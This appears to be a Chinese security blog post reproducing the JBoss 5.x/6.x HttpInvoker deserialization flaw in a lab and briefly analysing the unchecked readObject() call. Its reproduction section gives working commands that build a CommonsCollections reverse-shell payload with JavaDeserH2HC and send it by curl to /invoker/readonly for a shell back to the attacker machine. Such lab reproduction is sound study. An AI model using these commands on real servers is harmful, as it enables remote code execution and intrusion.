戳上面的蓝字关注我们哦!
01 前言
—
JBoss反序列化漏洞,该漏洞位于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器doFilter方法中,在没有进行任何安全检查和限制的情况下将来自客户端的序列化数据进行反序列化,导致执行任意代码。
02 影响版本
—
Jboss AS 5.x
JbossAS 6.x
03 漏洞复现
—
漏洞复现环境:
漏洞安装包:Jboss 6.1.0 Final
靶机WIN10:192.168.1.2
KALI机:192.168.1.104
步骤一、运行环境
JBOSS运行需要JDK支持,JDK的搭建我就不细说了。
配置好系统环境变量的JBOSS_HOME和PATH参数
JBOSS_HOME:D:\Program\jboss-6.1.0.Final\
PATH:;%JBOSS_HOME%\bin
然后cd进bin目录,运行如下命令
run.bat -b 0.0.0.0
此时再访问http://localhost:8080/就能看到JBOSS环境搭建成功了
步骤二、漏洞利用
只需要访问/invoker/readonly路径,如果页面返回500,说明漏洞存在。
这时就可以用我们的测试利用工具:JavaDeserH2HC
下载地址https://github.com/joaomatosf/JavaDeserH2HC
解压到KALI后执行如下反弹shell命令
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
然后添加需要反弹的地址
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.104:4445
随后会在当前目录下生成一个.ser序列化数据流
到KALI机上监听端口,并发送数据包
curl http://192.168.1.2:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
接受反弹回的shell
04 漏洞分析
—
因为该漏洞出现HttpInvoker组件中的ReadOnlyAccessFilter过滤器中
就直接找到
\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet
目录下的ReadOnlyAccessFilter.class文件,并查看doFilter代码
可以看到没有经过任何检测就进行object.readObject()反序列化,导致漏洞的产生。